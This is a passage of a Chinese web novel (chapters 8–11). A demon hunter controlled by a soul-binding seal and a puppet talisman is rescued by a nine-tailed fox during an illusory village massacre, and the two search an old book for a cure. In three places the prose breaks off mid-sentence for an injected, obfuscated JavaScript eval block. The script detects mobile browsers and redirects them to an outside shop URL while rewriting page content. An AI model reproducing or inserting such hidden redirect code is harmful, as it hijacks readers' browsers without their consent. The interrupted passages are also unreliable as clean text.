见长剑久久未曾落下，男孩颤抖着看向举剑的年轻除妖师，泪水无声淌下，他终于发出一声哽咽。 “桂花糕妖，你是来杀我的吗？” 8. 第 8 章 听到男孩对自己的称呼，苏言辰眼眸猛地睁大，他仔细看着男孩的脸。 “……小满？” 怎么回事？燕大娘不是说她的孙子随她老伴出远门去了吗？怎么会出现在这里？ 诸多困惑在脑中一闪而逝，苏言辰看着小男孩，见其面露惊恐，内心不由一酸。 若非玄天宗，这样小的孩子又何必遭此祸事。他听见屋外传来的此起彼伏的惨叫声，忍不住闭了闭眼，心中怆然。 现如今恐怕小满的家人也凶多吉少，而他更毫无阻止这场罪恶的能力。不说自身浅薄的修为，单论他脑中那叫人无法自控的摄魂印。只要玄天宗的人一下命令，他抵抗都难何谈反击。 似乎发现面前的除妖师对自己的态度是无害的，原本还流着眼泪的小孩试探着往前走了几步，似有几分亲近之意。苏言辰从胸前掏出先前买的酸梅果脯将其递给小满。 “给，今天没有桂花糕，但有果干。” 瞧见小孩将果脯塞进嘴里，却被酸得皱起脸，苏言辰脸上微微露出笑容。 笑意还未散他忽然脸色一变，将长剑猛地插到地上，左手颤抖着抵住额头。 那脑海中控制着他的声音似乎见他未曾遵循命令，慢慢加大音量，像洪钟一波波冲击着他的神志，让他在见到妖族与月华村村民时产生浓烈的杀死他们的想法。 “真是，吵死了……”苏言辰咬牙握紧手中的剑柄，心中对玄天宗、对那些冥顽不灵的除妖师、对那道貌岸然居心叵测的宗门掌管者愈发产生深深的恨意。 有小手轻轻拍打着他的肩膀，像是在给他安慰。苏言辰回过神，对上了小满担忧的眼神。 “你心可真够大的。”自己刚刚可是真的要杀了他的，这小孩倒好反过来担心起他来。 他苦笑着，揉了揉小男孩的脑袋，吐出一口气，却发现自己的额头好像贴着什么东西。 苏言辰心生疑惑，不由凝神往鼻子上方瞧，发现那似乎是一张纸片。伸手一扯，纸片却像被胶水牢牢粘住一般根本拿不下来。 听到屋外传来的脚步声，他放弃这个举动，垂眸看向不知何时倚靠在他大腿上的小孩，迅速扫视屋内的构造。 灶台、木架、木架旁关着鸡的鸡笼、装水的大缸以及……盖着草编蒸笼盖的深色陶缸。 苏言辰提起笼盖往里面望了一眼，里面零星残留着几粒黄色的稻壳。想来这缸是用来装粮食的，只是如今空了。他一把抱过小满将其塞进缸里，低头看着小孩。 小满睁着黑白分明的大眼睛，看向他的目光中带着满满的信任。 苏言辰将手指竖到嘴唇前。 “嘘——” “不要说话，我一会儿来救你。” 他左右看看，忽将旁边的木架推倒，架身砸下发出难以忽视的响声，最后横在屋子的中央挡住了道路。苏言辰拾起长剑，看着干净的剑身，心念一动，目光陡然对上鸡笼里萎靡不振的草鸡。 抱歉，鸡兄，这次就委屈你了。 “咯——”草鸡发出短促的鸣叫后整个儿摊在鸡笼里再也没有动弹。 苏言辰抹了抹脸上被溅上去的鸡血，面无表情转身往门口走去。 听到屋内的动静，门外的脚步声停了下来。 苏言辰沉默着站在门口看向来人，是一位陌生的玄天宗弟子。见到满身是血的苏言辰，他脚步一顿，面上的表情一收，转身就跑远了。 天色未明，空气中弥漫着一股寒凉的雾气，和月华村中的重重火光交叠，明火映照出玄天宗弟子杀人杀妖时狰狞的表情，伴随着村民的喊叫声，整个月华村宛若炼狱。 苏言辰心情沉重看着眼前的画面，最终提起剑，一边对抗着因控制而产生浓烈杀意一边试图寻找幸存者，才走几步，身后蓦然传来一道声音，随后他的衣袖被人拽住。 “停下，不准再杀人！”小师妹的声音一出，苏言辰脚步蓦然停下，他心中轻叹，转身站到申元玥的身后。 这可真像傀儡，还是可以语音操控的傀儡。苏言辰站在原地扮演着合格的傀儡，等待下一个命令，同时心中泛起疑问。 作为无心的傀儡，他自然是遵循最开始教习长老通过摄魂印传递给他洗脑内容——听从玄天宗各个知情者的命令。 而其中命令也分有级别。作为傀儡的保管者，小师妹自然是除宗主外命令优先级最高的人。 若最开始那个杀妖杀月华村村民的指令不是小师妹下的，那又有谁能越过小师妹向他下命令？ 而且…… 苏言辰握住手中依旧在警告刺激他的玉扳指，这次的命令感觉和以往都不太一样，更加强硬更加难以拒绝。这个发现叫苏言辰心中顿时升起一阵担忧与恐慌。 若是有下次，若是这种控制更厉害一点，他还能控制住自己吗？ “申元玥，你这是在做什么？！”旁边传来申元瑞的呵斥声，他从逐渐深重的浓雾中现出身形，原本带笑的脸上满是冷凝之色。 “我在做什么？”申元玥慢慢转身，她看着她的同胞哥哥，攥紧手中的长剑。 “苏师兄的看管者可是我，是我申元玥！你有何资格在不经我允许的情况下擅自动我的傀儡，还偷走了我的傀儡令符纸？” “杀妖也就罢了。”申元玥环顾四周，瞪大的双目中满是红色的血丝。她回头看向申元瑞，眼神中带着难以置信的怒火：“我们玄天宗何时允许门下弟子滥杀无辜甚至手刃同族？” “昨夜燕大娘那么热情招待我们，做饭给我们吃，你却把她杀了！还有其他人，他们犯了什么错？” “呵，自然是因为他们该杀。见妖不报，反而有意隐瞒、同流合污。罪加一等！”申元瑞猝然冷笑，他试图越过申元玥来到苏言辰面前却被阻止。 申元瑞发出轻哼，那阴冷如蛇一般的目光在瞧见苏言辰剑上血渍时忽然一顿。他抬头打量着苏言辰，心中似是明白了什么。 “这傀儡令配合摄魂印倒是好用的很。若非你心软不愿使用，前阵子也不会被父亲责罚。”申元瑞俯身凑到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281228|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小师妹耳边，低声笑道。 “傀儡就该用在正道上，做杀人的刀，而不是跟着你当个仆人。这么多年，这家伙虽手不沾血却也弱得厉害，在你手里真是浪费。” “如今见了血，想来他也不适合留在你手下了。我会向父亲禀报，让他——” “闭嘴！想让我把他交给你，你死了这条心吧！” 申元玥打断申元瑞的话，她将苏言辰额头贴着的傀儡令符纸取下慢慢撕碎，“傀儡令只有我可以做，我也绝不会将它给你。这次若不是我大意，怎会让你有可乘之机。” “下迷药的卑鄙小人！” 原来昨晚有迷药？苏言辰心中恍然，他静静站在旁边，见兄妹俩旁若无人地吵着架，想到还在米缸中的小满心中不免有些焦急。 这对兄妹怎么话这么多？ 苏言辰心中叹息，余光悄悄瞥向不远处小满的方向。听这两人的说法，他如今之所以被控制除了原先的摄魂印之外还因为小师妹做的傀儡令。 奇怪的是，这额头的傀儡令被取下后，他脑中存在的控制感依旧很明显，莫非还有什么其他不对之处？ 算了，不管如何，当务之急还是找机会先把人救出来。至于托付的地方，恐怕只有望月山上的狐狸洞。 在望月山的半山腰有银青设的大型迷阵作阻挡。如果没有狐妖带路，上山的人只会在不知不觉中迷路。 若是只是普通的路人只会稀里糊涂走下山，而不会察觉那山中藏着的妖族宫殿。而若是心怀恶意还运气不好…… 苏言辰回忆起小狐妖银雪说这话时的表情，轻轻摇头。那绝对没什么好下场。 随着天色逐渐变亮，周围的雾气居然变得更加浓重，一米之内都很难看清人影。 不知何时周围的火光与叫喊声都消失不见，连身旁申氏兄妹的吵架声也停了下来。苏言辰只觉眨眼的功夫，周围一下子就安静了。 一阵突如其来的大风猛烈吹过村庄，转瞬间便将四处的雾气吹开。 “怎么人都倒了？”苏言辰诧异地看向四周，口中不禁喃喃说道。 大雾散去后，村落的全貌出现在他的眼前。房檐上还冒着缕缕火灭后的黑烟，而那些身着玄天宗服饰的弟子们纷纷倒在路边，呈昏迷的状态。 苏言辰放下挡风的衣袖，鼻间忽然嗅到一股熟悉的冷香。 一条毛茸茸的大尾巴猛地圈住他的腰身，将他带到尾巴主人的面前。 “银青。” 时隔多日未见，再看到这个九尾狐妖，苏言辰心中竟有一种恍如隔世的感觉。但不可否认，见到对方，他心头仿佛一松，心情莫名好了起来。 “你怎么会在这里？” 大妖的脸色似乎比上次见的时候更加苍白，听到这话他轻咳一声，反问道：“怎么，见到我不高兴吗，除妖师？” 银青话尾的语调微微上扬，嘴角却似乎往下撇了撇。 “吾身为望月山之主，有宵小在此屠戮望月山的子民，吾岂有漠视之理？” 9. 第 9 章 所以眼下这群玄天宗弟子无故昏迷的缘由是因为银青？ 苏言辰心中思量，突然想起自己藏起来的小孩。 “对了，小满还在那间屋子里。” 他正想将小孩托付给银青，脑中突然再次出现强烈的眩晕感，身躯再次失控。而这一次即使手中玉扳指刺激得再强烈也未能让他夺得身体的支配权。 苏言辰只来得及喊一声“小心”，手中握着的长剑便直直朝着侧面对着他的大妖刺去。 这时候苏言辰竟有些庆幸自己过去因为被杂事耽搁，武艺只称得上是学了点皮毛。 银青会躲开的吧？一定会的。 苏言辰这样想着，却不料那只大狐狸在转身之时身形忽然踉跄了一下，竟让他手中的长剑刺入的对方体内。 见到那雪白的衣衫上逐渐弥漫的血色，苏言辰只觉脑子嗡的一声随后像炸开一般，发出咔嚓的破碎声。 “你怎么不躲开？！”苏言辰拧起眉，心中不禁翻涌起沉重的疲惫与无力感，抬眼却瞧见面前这银发的狐妖慢慢握住刺在胸口的剑身，朝他露出浅淡的笑容。 “除妖师，你未免太过热情了些。” 或许是心神剧烈震动的原因，苏言辰发觉自己能够稍微控制住自己的手臂，他咬牙慢慢抽回长剑，忽瞧见银青捂嘴发出几声闷咳，脸色似乎变得更加苍白。 “你怎么样了？要不要紧啊？”苏言辰努力克制住自己的动作，朝银青喊道。虽然方才自己手上的触感告诉自己剑扎的不深，但毕竟是胸口，重要的脏器都存在的地方，怎能大意？ “无事，小伤而已。”银青摆摆手，身后的狐尾轻甩，摆成花一样的造型，“等我回去，让银雪配点药便好。倒是你，怎么脸色这般难看？” “……你先把我捆起来。我要控制不住自己了。” 听到苏言辰发出的艰涩声音，银青伸出手拂去青年额头冒出的冷汗，思索一番后便用狐尾将人从头到脚裹得严严实实。 “如此，你可放心了？” 苏言辰感受着无法动作的躯体，心神放松之余沉默着点点头。他低着头看着掉落在地的长剑上沾着的血迹，沉默不语。 这是他第一次在摄魂印的控制下真正伤到他人，伤的还是他所认识的银青。回忆起方才那种无法控制的无力感，苏言辰内心不由涌上一丝绝望。 “你……怎么了？”身旁的大妖似是瞧出不对，开口询问道。 见银青专注地看着自己，那双金眸里清晰倒映着自己的身影。苏言辰只觉内心突然涌起一股无法抑制的倾诉欲。 或许是因为心神崩了太久或许是这包裹着自己的狐尾太温暖又或者是因为……大妖注视自己的眼神太过温柔。年轻的除妖师轻轻眨了眨眼，微微侧过脸。 “你知道摄魂印吗？”未等银青反应，他继续往下诉说着。 “我身上有着玄天宗宗主设下的摄魂印，一旦触发指令便会不能自控，做下违背本心的事情。” “方才我并非是有意要伤你。只是我很难抵抗摄魂印的控制，甚至有时根本无法抵抗。” “我想……”苏言辰顿了顿，继续说着：“或许这次分别过后，下次你再见到我的时候……我或许已经犯下罪孽，身上沾满怨念。” “与其这样，不如……你把我杀了吧。”如今摄魂印之术不但未解开，对自己的控制力反而更强，解决之法更是未曾找到。 与其生不如死地活着，做玄天宗的杀人傀儡，不如现在就死在大妖手中，倒也落得干净。 话音落下，苏言辰却并未听到银青的回话，因着心中的疑惑，他不由转头看向大妖的方向。 恰逢此时，一抹初生的曦光从身后透了下来照在对方的脸上，苏言辰看见银青那双金色的眼眸里似乎泛着莫名的情绪。 “杀你？”银青上前一步站在除妖师的身前，神情冰冷：“自你我相遇，你似乎已经说了两次这样的话。就这么想要将命给我？” 他伸出带着凉意的手指触碰到苏言辰那张白皙温暖的脸，随后……狠狠捏住揪起。 “嘶！你干什么？”苏言辰皱起眉，痛呼出声。 “知道痛就好，被人杀死的感觉要比这个痛上一万倍。也不知道你这个除妖师哪来的丧气想法。”银青放下手指，瞧见苏言辰脸上那明显的红印，忍不住在上面揉搓几下，不想那红晕反而更加明显。 “啧！”银青盯着自己的手看了看，又瞥向苏言辰一侧的红脸蛋，转而将手背在身后，左手拍右手。 啪—— “什么声音？” “哪有什么声音。”银青轻轻咳了一声垂下衣袖，将话题岔开。 “你之前说的摄魂印，我曾经在某本书上看到过，但书在狐狸洞里，不如你先随我上山。到时候我们再想这解印的办法。” “至于这死不死的话，以后就不要再说了。”银青扫过村落里倒成一片的人影，眉目暗淡，他说：“这世上有那么多人和妖想要活下来。若遇到问题只想着解脱，那生命未免太过短暂可惜。” “不若在真正山穷水尽之前先看看有无解决之法，或许就能柳暗花明呢？” 话毕，银青转身看向面露思索神色的苏言辰，忽瞧见其后脖颈上沾着的奇怪东西。 “这是什么？”他轻轻扯了扯那张既小又轻薄的纸张，上面画着红色的图案。 “看上去像是什么符纸。谁给你贴上的？” “符纸？”说到这个，苏言辰立即将其与先前的傀儡令联系到一起。 莫非真的是傀儡令？苏言辰想到之前自己额头的傀儡令符纸被小师妹摘下后，他脑中的杀人杀妖的指令依旧存在的情况。所以说，自己方才那般失控还有一个原因便是因为这隐藏着的符纸？ “可否帮忙将它拿下来？”苏言辰请求道。 银青再度用力拽了拽，却发现这符纸像是和皮肉长在一起一般根本无法硬取。 “这种邪门之物。一看就是那些除妖师的手笔。”大妖冷笑出声，手掌中蓦然出现金色的狐火，妖力护住苏言辰皮肤的同时也同狐火一起破坏着傀儡令。 “……” 话倒是没错，苏言辰细数自己自前世记忆觉醒后遇到的一系列透着怪异的东西，摄魂印、傀儡令还有宗门弟子那屠杀同族的行事风格，这一切都出自玄天宗这个除妖宗门。 “好了。现下你感觉如何？”耳边忽然传来大妖的声音，随之而来的是对方那轻缓的吐息。苏言辰忍不住想用手揉揉耳朵，却被禁锢住自己的狐尾阻止。 他静下心神闭目感受着，脑中那股强硬猛烈的控制感在符纸拿下的那一瞬间突然就消失不见，身躯的控制权再次回到了他自己的手上。 “那种控制感消失了。”苏言辰睁开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281229|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛，看向狐妖的眼中满是感激：“这次实在是多谢你的帮助。以后若是有什么用得到我的地方，尽管开口。” 与先前因两极果之毒而被迫相互帮助的情况不同，基于妖族与除妖师之间的恶劣关系，大妖分明可以选择冷眼旁观，却依旧选择帮助自己甚至还不小心被自己刺伤了身体，这等恩情，他定会铭记在心。 闻言，银青瞥了苏言辰一眼，快速放开裹着对方身体的尾巴。 “谢我做什么，你我之间的关系还需要提谢谢？” 他和银青之间的关系？什么关系？ 苏言辰垂眸细思，除去那持续一个月被迫交流的关系，在日常的时候，他与大妖之间的相处似乎算是融洽？ 那是种很自然舒服的感觉，就像是同知己好友待在一起时的感受。虽然……他今生并没有什么朋友。 但一般情况下，同性之间的友好关系不就是朋友吗？或许大妖想说的就是他们之间的这种朋友之情。 至于最初大妖提的玩笑话，苏言辰并未当真。哪有上个床就确定关系的道理。 况且这世道，男人与男人之间的结成伴侣的情况都极为少见，更别提男人与男妖。不论是人族还是妖族，都更愿意与心仪异性结成夫妻，然后生儿育女享受天伦之乐。 苏言辰抬眸打量了大妖一眼，心中莫名泛起一丝涩意。想来像银青这般风姿卓绝的妖族，未来与伴侣生出的孩子也定会冰雪可爱。 念头到此打住，他敛起思绪，朝银青点点头：“也是，虽我俩相识短暂，但这朋友之间的情谊并非是用时间可以衡量的。是我见外了。” 朋，朋友？他们之间是朋友关系？！ 银青只觉头顶毛发都要炸起，想要张嘴却一时间被惊到不知说什么。 是什么事情让这个除妖师觉得自己在和他做朋友？哪个朋友会进行深入交流？还是……对方害羞了？ 银青紧紧跟在除妖师的身后，心中思索：或许是除妖师脸皮薄，想要先从朋友做起，待到情深意浓之时，他二人之间自会水到渠成。 倒也未尝不可。银青暗自点头。 苏言辰的脚步在一处屋门前停了下来。 他看向屋内，一切布局还是如先前自己设置的那样，杂乱无序，而那藏着小满的米缸上的草编盖子也好好搭在上面。 “万幸！”苏言辰快步走进去，走着走着忽觉哪里有些不对。 等等，鸡兄呢？那么显眼一只草鸡怎么没了踪影？ 他伸手提起盖子，却发现里面没了小男孩的踪影，取而代之的是一只毛发雪白的小狐狸。 “小满？” “嘤~”小狐狸发出乖巧的叫声，在它的怀里是一只刚被拔掉小半簇鸡毛的草鸡尸体。 等银青也在米缸上方露了头，小狐狸眼睛一亮，身形发生变换，成了一粉雕玉琢的狐耳小姑娘。 “兄长！鸡。” 还是个熟妖。苏言辰抱胸站在旁边，看银兰举着草鸡蹦到银青身前。他再次往米缸内看了看，内心狐疑，莫不是他的记忆错乱了？ 先前的小孩不是小满而是银兰？ “小兰，之前米缸里面的小满呢？”苏言辰决定放过自己贫瘠的大脑，选择直接询问。 “小满现在在山上啦。刚刚一直都是我在旁边。”银兰回答道。至于除妖师看到的小满，那自然是假的啦。 10. 第 10 章 “他们不会都死了吧？” 跟随银青走在月华村去往望月山的路上，苏言辰不小心踩中一名倒在地上的玄天宗弟子的手，却发现这人哼都没哼一声，仿若死尸。再待他抬头仔细观察周围躺倒的“尸体”，苏言辰突然意识到一个事实。 自他被手中玉扳指唤醒，他见到众多妖族与村民被玄天宗弟子屠杀，火与血的颜色、味道都格外真实，就连那房屋被焚烧时熏人的烟气也呛得人咳嗽。可是，如今再看这遍地“尸体”，却无一是属于妖族与村民的。 “当然没有，不过误伤倒在所难免。”银青回头看了一眼那些身负极深怨念的玄天宗弟子，面露厌恶。 “他们不过是入了幻阵。”银青示意苏言辰看向那些院落中生长的桂树，“月华村的护村阵法是以桂树为媒介的幻阵，与望月山半山腰的迷阵同出一源。” “若来人对月华村中居住着的人族与妖族心怀恶意甚至只是存在威胁，他们便会在进村的那一刻陷入幻阵。此后与他们相处的村人便只是幻影罢了。” “而要想破解阵法，除非心念转变或者消去威胁。” “难怪……”苏言辰想到自己被人控制住时见到的那些场景，“原来一切都是假的吗？” 因为是假的，所以大娘见到自己时才神情陌生，所以那些村民尸体才会消失，所以…… “倒也不全是假的。”见除妖师落在后面，神思不属的模样，银青脚步一顿，转而态度自然地牵起对方的手。 “跟紧点。” “啊，好。” 见苏言辰并未抗拒，银青轻快地摇着身后的尾巴，继续补充。 “幻境只针对人却不防水火，也不防刀剑。所以你见到的那些被火烧毁的房屋确实是真的，至于那些血腥气……” 血腥气是怎么产生的？苏言辰心生好奇，却听大妖冷笑一声，语气平淡地说出缘由。 “不过是自相残杀罢了。那血自然是他们自己身上的血。幻阵不防刀剑所以难免会有误伤。这也不过是他们咎由自取。” “若是除妖师都像你这般，自然毫发无损。” 撞上大妖那含有欣赏的目光，苏言辰扯出一抹笑，内心不由吐槽。 像他这样，修为又低又身不由己思想还同主流不同的除妖师，这世上怕是找不到第二个。 即便自己对月华村抱有善意，因着那摄魂印与傀儡令的双重控制，在银青出现之前他照样会被幻阵识别为存在威胁的人。 “这次下山只有你和银兰两人吗？银雪那小家伙居然没跟着。” 走在山路上，苏言辰看着前面蹦跳着走路的狐妖小姑娘，心中好奇。 往日里，银雪对大妖可黏得紧。在之前一个月里，除去大妖在外的时候以及部分不方便的时间，多数时候苏言辰都能在银青身后见到银雪的身影。 “小雪在安置村民。这次只我一人下山。至于小兰……她是偷溜下来的。”说到这，银青心中也有些纳闷，“倒是不知她特地跑下来做什么。” 跑下来做什么？ 银兰竖起来的耳朵里捕捉到这样的话语，她往后觑了一眼，继续若无其事地赶路。 做什么？当然是看她未来小侄子的状况。 银兰想到当初自己意外知道苏言辰这个除妖师居然怀了兄长孩子时的震惊。 那可真是晴天霹雳！ 纵然苏言辰这个人并没有印象中除妖师的恶劣与固执，甚至还会温柔的给小狐妖摸摸头，但这并不代表她能接受一个除妖师当嫂子！ 可兄长看上去很喜欢这个人族……或许因为苏言辰和曾经兄长的师父一样都有着不一般的想法？ 不！银兰猛一摇头。苏言辰比那位老师父更天真更大胆。 老师父只想要建一处村落收留爱好和平的人与妖，而苏言辰竟然想要人族与妖族两族之间和谐。这和让狐狸不吃鸡有什么区别？ 狐妖小姑娘回忆起自己和妹妹不小心听床脚听到的话，脸上悄悄浮现几分红晕。 这个除妖师实在是个很奇怪的人，不仅思想奇怪、行动奇怪还有点儿倒霉。 银兰当然不会忘记自己和妹妹最初遇到苏言辰时的场面。青天白日被天雷劈中，这运气实在难说。 正因为这初见时的印象，她才悄悄下山以防怀着她兄长孩子的除妖师又遭遇倒霉之事。 银兰想到自家哥哥对自己三令五申，要求自己务必保守除妖师怀孕这个秘密。 “真是笨蛋哥哥，这怀孕的事怎么可能瞒得住呢？”况且以她今日所见，兄长依旧对除妖师情有独钟。连手都牵上了。 “真希望兄长能早日与除妖师修成正果。” …… 时隔多日，苏言辰再次来到了望月山上的妖族宫殿。 和之前相比，大殿内热闹了很多。从月华村上来的村民携带着自家的家当窝在殿内。厨房里，以燕大娘为首的村民正热热闹闹地做着午饭。 “哟~银青大人回来啦。还有这位……”似是瞧见了苏言辰身上的玄天宗弟子服，殿内的村民神色一变，但见这人是被银青带回来的，他们脸上的表情变了几轮最后定格在仰慕上面。 “不愧是银青大人，连除妖师都能收服。”其中双目呈现粉色的桃花树妖喃喃出声，“我好像闻到了情缘的香气，就是有点淡。” “咳咳，兄长你回来啦。”银雪从人群中钻出来，瞥了桃花妖一眼，脚步欢快地跑到银青身边。 “你怎么来了，莫不是打算在咱们望月山定居？”和兄长打过招呼后，银雪面露期待地望向苏言辰。 要是真定居了，就代表兄长与这除妖师好事将至，他也就可以告诉兄长那个秘密。 想必兄长定会感到惊喜的。银雪暗中晃着尾巴。 “并非如此，你苏哥哥这次来是有事相商。”银青颇为遗憾地推翻银雪的猜测，“我先带人去书房，若有事便来此地寻我。” 苏言辰跟着点头。山下还有一堆玄天宗的人呢，他若是这个时候想离开，必定会惊动玄天宗，到时候自己和望月山都危险。 望着离开两人的背影，小狐妖的尾巴瞬间垂了下来。 可恶，居然还没成！人族可比他们狐族还要狡猾，他要继续盯着除妖师这家伙，以防兄长被骗身骗心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281230|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 …… 许是很久未用，那书房里存着藏书的地方落了一层灰。 苏言辰瞥见旁边放着的抹布想要擦拭一番却发现自己的手好像被什么禁锢住。 低头一看，他的手正同银青的手牵在一起，并非是简单抓握，而是十指相扣。 等等，什么时候？ 苏言辰顿时像被火燎了似的快速抽回手……没抽动，他抬眼望向抓着他手的手主人，却瞧见这家伙正在看他自个儿的尾巴。 “松手。”苏言辰动动手指，提醒着对方。 银青默默转头，看了苏言辰一眼，缓慢松开手。身后原本悠闲摇晃着的大尾巴定在半空，半晌落了下来。 做什么这样看着自己？苏言辰揉了揉发烫的耳朵，将藏书柜上的灰尘擦拭干净。 擦拭的同时也在整理思绪。 这妖族的友情未免太过黏糊了些，他都想不起来他俩是何时把手牵上的。 算了，若这样做能让这大妖开心，牵牵手也无有不可。 苏言辰翻着书，抬眼悄悄瞥向对面那只似乎有些丧气的大狐狸，不想两人的视线却碰巧撞上。 “我……” “你……找到了吗？” 两人同时说道。 听到苏言辰的问话，银青将手中的书摊到桌面上，伸手示意除妖师过去。 可以看出这本书年代已久，纸张泛黄，翻动时还有一股陈旧的味道，字迹却还清晰。 “这是我师父留给我的书籍，当初被他老人家逼着囫囵吞枣读完后便被我抛之脑后。到现在才重见天日。” 似是被书中灰尘呛住，银青突然捂着胸口咳了出来。 随着银青的动作，那为了防止银雪等人担心而披上的用于遮掩伤口的深色外袍落了下来，露出沾有血迹的白色衣衫。 “等等，你的伤还没处理。” 听着这咳嗽声，苏言辰有些心慌，他忙起身想去喊银雪却被银青拉住。 “我这里有药，不如……你替我上吧。” “我？”苏言辰正想要拒绝，抬眸却瞧见大妖眼中的期待之色。 “对，难道不可以吗？”见苏言辰迟疑，银青头上立着的狐耳软软耷拉下来，即使那张妖异美丽的脸上并无委屈之色，苏言辰依旧觉得心脏像被什么戳中一般，软了下来。 “行，我来就我来。不过我也是头次替别人上药，你……忍着点。” 苏言辰回想以前在玄天宗被其他师兄弟欺负后给自己包扎时的流程，慢慢剥开大妖沾了血迹的衣衫，到最后只剩一层被血痂粘住的里衣时，他动作一顿，起身去外面端了一盆温水进来。 他固然可以选择直接将布料撕开，但那样除了会使伤口二次出血外，最关键的是硬撕下来真的很疼。对自己就罢了，对银青这只大狐狸他还是温柔些吧。 等将促进疗伤的药抹在伤口上，包扎完毕，苏言辰微微呼出一口气，这才感觉背后出了一身汗。 咚咚咚—— 门外忽然出现敲门声，接着银雪的声音传了过来。 “屋里头的二位，该吃饭了。” 11. 第 11 章 午饭过后，苏言辰正欲与大妖继续回到书房，却被银雪拦住。 “给，喝了它。” 狐妖小少年手中端着一碗黑漆漆的药汁，散发着浓郁复杂的草药味儿。 “这是什么？”苏言辰下意识端过碗，随即反应过来。等等，自己又没生病喝什么药？ “补血安神的。”银雪耐下心来解释：“我观你脸色不好，想必前些时日气血有所亏损。” 气血有所亏损……若是指失血倒也算得上。苏言辰望着手中的药汁，心想着对方毕竟是为了自己好，咬牙一口灌下。 苦味居多的口感叫他不禁有些犯恶心，未等做什么嘴中便被塞了一勺蜂蜜。 “！！！”齁甜！ 苏言辰艰难咽下，抬眼往上一瞧，这波熟悉的操作果然是燕大娘。 “喝完药，来点蜂蜜甜甜嘴就不怕苦了。”给完蜂蜜，大娘又顺手摸了摸旁边银青的头，笑眯眯地离开。 “……大娘倒是和其他人不一样，根本不怕你。”苏言辰努力将嘴角上扬的弧度压下。在大娘的身后，他瞧见了真正的小满的身影。 真好啊，大家都活着。 听到苏言辰的话银青轻轻哼了一声，转而揉了揉手下小狐妖的脑袋，说道：“她是我的师母。又怎会怕我。” 自师父去世后，师母就担了月华村村长的职务。可以说这些年月华村中的人族与妖族之间能如此和谐安宁，师母功不可没。 等到两人离开，银兰拉着银芷悄悄摸到哥哥身边：“嘿，哥哥，刚刚你给除妖师喝的什么呀？” “哼哼，这些东西小孩子少知道为妙。” 银雪拿上空碗，心情颇好地摇着尾巴来到小厨房。 虽说这除妖师不曾想加入他们狐狸洞，但这喝药的态度真不错，一点都不怀疑直接就喝。要不然下次他就将这药配的不那么难喝？ 见身后还缀着两条眼巴巴的小尾巴，银雪无奈扶额。上次就是这样暴露了除妖师怀孕的消息，这次还想故技重施？ “行吧，你们可别往外说。”银雪压低嗓音：“那是安胎药。” 毕竟之前连锁魂链都触动了。虽说兄长与除妖师之间还未修成正果，但在此之前，他还是希望这未出世的小侄子好好的。 …… 再次来到书房，对着那本书籍，苏言辰两人仔细阅读上面的文字。 【摄魂印，傀儡术之一，源于青蛇妖族……自青蛇妖族隐世，此术几近失传。若想破除此术需要成年天狐狐火对受印者进行七次狐火淬魂，待七次淬魂结束，摄魂印自会消失。】 在书籍的下方还有一行补充上去的小字：【注：破解该术所需狐火极多，天狐独自一狐时务必谨慎尝试或者拉长淬魂间隔。】 看完解决之法，苏言辰在书面上点了点，眉头不由皱起：“天狐？还是成年天狐？” 传说中的天狐似乎是金色的九尾狐，具有极佳的根骨，是妖族中的佼佼者。如今这狐狸洞里的小狐狸全身白色不说，即便有也是未成年，对他的摄魂印也无作用。 他不由看向银青。 苏言辰：“……你在做什么？” 银青舒展着身后柔顺洁白的九条长尾，面上似有得意之色。 “区区不才，在下九尾天狐。”见苏言辰面色古怪，银青重音强调：“成年天狐！” “可天狐不都是金色的吗？”苏言辰好奇地摸上大妖的顺滑毛发，发出疑问。 “……”银青沉默。那当然是因为天狐一般出来都是成年体，至于幼年天狐虽有九尾但在成年前毛发都是银白之色。 而他，因为误食了奇草拥有了五百年修为于是提前成年，但毛发颜色却未曾来得及转变，依旧还是幼年期的银白。 “真不真，你试试不就知道了。”银青避而不答，转而握住苏言辰的手，明亮的金色狐火倾泻而出。 苏言辰只觉有一股散发灼灼热意的气息从他与大妖接触的手掌一直向上攀爬逐渐蔓延全身。等到真正在体内运转了一周天，这股灼热感便不再那么烫人，反而像温泉水。 他感受到自己常年被阴冷的摄魂印控制的神魂逐渐变得温暖。即使间或有少许刺痛，在这种温暖下也能忽略不计。 他有些困了。苏言辰努力撑着眼皮，只觉眼前银青的面容越来越模糊…… …… ………… 白色的雾气逐渐散去，露出一处被刀削了似的山体斜面。山顶上站着两位气质不凡的男性。 苏言辰瞧见其中一位同银青一样，同样属于狐妖一族，但与银青不同的是，这个狐妖生有九尾且毛发呈现金色，正是睡前他与银青提到的天狐。 难道自己在做梦吗？苏言辰心中想到。 